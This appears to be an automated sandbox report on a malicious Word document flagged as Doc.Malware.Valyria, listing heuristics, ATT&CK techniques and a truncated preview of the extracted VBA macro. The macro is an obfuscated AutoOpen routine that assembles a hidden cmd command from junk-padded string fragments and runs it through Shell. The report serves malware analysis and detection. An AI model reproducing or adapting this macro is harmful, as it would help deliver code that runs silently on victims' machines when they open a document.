MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. The macro uses the Shell function with a constructed command string, indicating an attempt to execute arbitrary code. This is a common technique for downloading and executing further stages of malware. The ClamAV detection and heuristic firings strongly support this assessment.
Heuristics 5
-
ClamAV: Doc.Malware.Valyria-6712827-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6712827-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 31960 bytes |
SHA-256: b1b98481aac251f728a9e70c449e18228db60ecc46a968b181fb385f0040be2f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OjiMoDTNl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
FHwnpS = Atn(69628 + aNiANi / wKMtWJ - iCzdJ)
MJTFih = Atn(bDzDNz * IwqGiV / 62882 + JpvvB)
nfNmWE = 58
Shell@ CVar("cm") + jjYKiqiLQlYSv + RGzbdwiorWDd + NhwcdcrziYZ + ZcLRb + QzTiJqF + fqFSQDhFo + QoTMnhQ + GXHHtuMd + DQYhjXbAtiu + rUivwsYUzZf + HzOluBGZIf + ccrDPXzfwO + LQHzisX + ZAjzStwdX + TqKbONw + KHZNjCpQBJn + afNRJwW + dEqsD + IKVLmsX + fjKGqjdXAU + DkTuWnNG + QaXXNLZ + lKCXsfph + SLuzoUo + QGlOaCEQ + msiGofta + iJiipTnwYB + aiNNzXhAU + Jqpmp + bliMw + HKdHD + EdjpkHL + bGGnIClAs + hcIiaMncm + rtvRlQAb + avmqHrHA + GGfjbRdzlGH + ViifQjiwwk + COGMiUC + usOin + NOjqDAXQz + tjwuaIoziKm, 676903548 - 676903548
tPUqa = sjtdtT
TJSfwT = Oct(210856442)
End Sub
Attribute VB_Name = "GjSMNPcZCaidw"
Function NhwcdcrziYZ()
On Error Resume Next
OZsnRz = CSng(314164836)
RzzTi = 7
Tnlkis = "d " + " " + " /c " + " c" + "Md " + "/v:on /R" + " " + CStr(Chr(mPZzHlOuGXB + FVavaDQsO + 34 + CKRdlUuhpu + XEbzJhi)) + "set _~?"
tmGai = 6
wwtrVJTL = "=__/-\//_-" + "\\_/\- _/-" + "\_/\" + "/\__\" + "--- -/\" + "/" + "//_-_-"
aGwkdjrZUCp = "-_\" + "_\ //\\_\"
vKFlO = Sqr(335)
ijTYjl = zRnErQ
UqiXwE = "_/" + "-\_" + "-_-- //" + "\\\" + "_\-_" + "--_/_/ /"
YGfwlw = ChrB(7)
ECBiJ = Rnd(517)
jhjzcZEN = "_" + "\-\/-\--\"
ViVPV = 256054176
oIozLW = Tan(FwSKPc)
lMoBGvA = "/___ \_/" + "--_/--" + "\//\" + "_"
GFYiBTko = "\ /_\" + "-/_-\\//\" + "-_- __\__\" + "\"
FjSDujPAP = "/\-/--" + "-/ " + "_//-_-/--/"
VPCdzj = Int(XhElZj)
GZPzLR = CSng(Wpzaz - pEwhR * 92509 * qidvfa)
crowh = hawYZn
DWIBhQAEpc = "_\\\\ \" + "_/" + "_--" + "-_\//-\\_" + " \-" + "/_-/-"
NhwcdcrziYZ = Tnlkis + wwtrVJTL + aGwkdjrZUCp + UqiXwE + jhjzcZEN + lMoBGvA + GFYiBTko + FjSDujPAP + DWIBhQAEpc
SloDu = CDate(KdPYHd / IrItu + 26046 / tCbzh)
End Function
Function ZcLRb()
On Error Resume Next
LHwKic = 8394
UjfdWw = "__\" + "\" + "-/_/"
kCXEYN = CDate(YwUYMd + pJiaPK)
onaSH = Hex(223)
YcirSULsR = " _\-" + "-\-_\\/_"
aCEJIr = 286450591
qdHON = iGFAbw
UoAYk = lXhbIA
jtdhsai = "_/-/ _-/\-"
vOFSUrffjDo = "\/-/" + "_" + "\_"
ZcLRb = UjfdWw + YcirSULsR + jtdhsai + vOFSUrffjDo
TYzTZ = bJSlE
End Function
Function QzTiJqF()
On Error Resume Next
jRvDZL = BtiGiO
woqPP = CSng(CKjWv)
unpCv = "/_- -\_\" + "/" + "\_-/__\-/-" + " \-" + "///--/_" + "\"
dJhbVZ = 3320
tUKhRi = Round(65)
uwdhTmAAU = "-_\\_ " + "/-" + "-" + "\\/\/_/_" + "__-- __"
UbNddOJ = "_\_\\\//-/" + "--/}-/"
FHiMKi = "-\" + "\__/" + "_/_\\"
BMZtWmSzw = "/" + "-}\\\-_/\" + "_/-_/-/" + "_{\_-_/" + "_/\/_--\"
VBwhTZMYj = "-/h\/-//_" + "\-\/-"
rsJVzN = 286360019
WdGPji = Chr(66)
MQUYC = ChrB(JRRuWE)
hqWCHbVVfc = "-___" + "c___-\\-/" + "\-"
rTbDW = Oct(18349 - jvtnw)
QMqNZE = Sin(wpswj)
CriGa = CByte(31)
hrqLPMICckF = "\///_t\-" + "\\--_/_" + "-__//" + "/" + "a_--/_"
QzTiJqF = unpCv + uwdhTmAAU + UbNddOJ + FHiMKi + BMZtWmSzw + VBwhTZMYj + hqWCHbVVfc + hrqLPMICckF
Faawtj = Hex(48557 * PuNpAh * 61357 / HrKsij)
End Function
Function fqFSQDhFo()
On Error Resume Next
OdELh = Int(35)
MUHPmb = ChrB(21877 + ZJdDWC)
sUnUEsQ = "\\/\_\-/-_" + "c_//_\-_-/" + "/--" + "\" + "_\}\_-/\_/"
iVNRHwjEGR = "_\" + "--\/" + "-/;_-\\" + "_-//_\/_-" + "\" + "/k\//\-_\_"
qwiuX = Rnd(30)
VojiG = CStr(60)
QDPZDBFVLb = "_/" + "-" + "--_/a-\"
WXdfaQ = Log(568)
VhYrpssEWw = "\/-\/" + "-_\-_/__" + "e/-\_\\-/_" + "\" + "-_/-_r\-_-" + "\_-/-_\" + "_/"
HFIZwvQj = "//b\/_\-"
fqFSQDhFo = sUnUEsQ + iVNRHwjEGR + QDPZDBFVLb + VhYrpssEWw + HFIZwvQj
fSUGBQ = 20
End Function
Function QoTMnhQ()
On Error Resume Next
sUipv = Cos(Dltzuj)
qvhwZ = 390
PcBfObcjjuH = "-\_-_" + "/\/_" + "-;///-_/\" + "\-\_-\" + "__I/-_" + "\-_-" + "-/__\"
uAMlcAGIw = "/\\d" + "_\_\/-_/-\"
lS
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.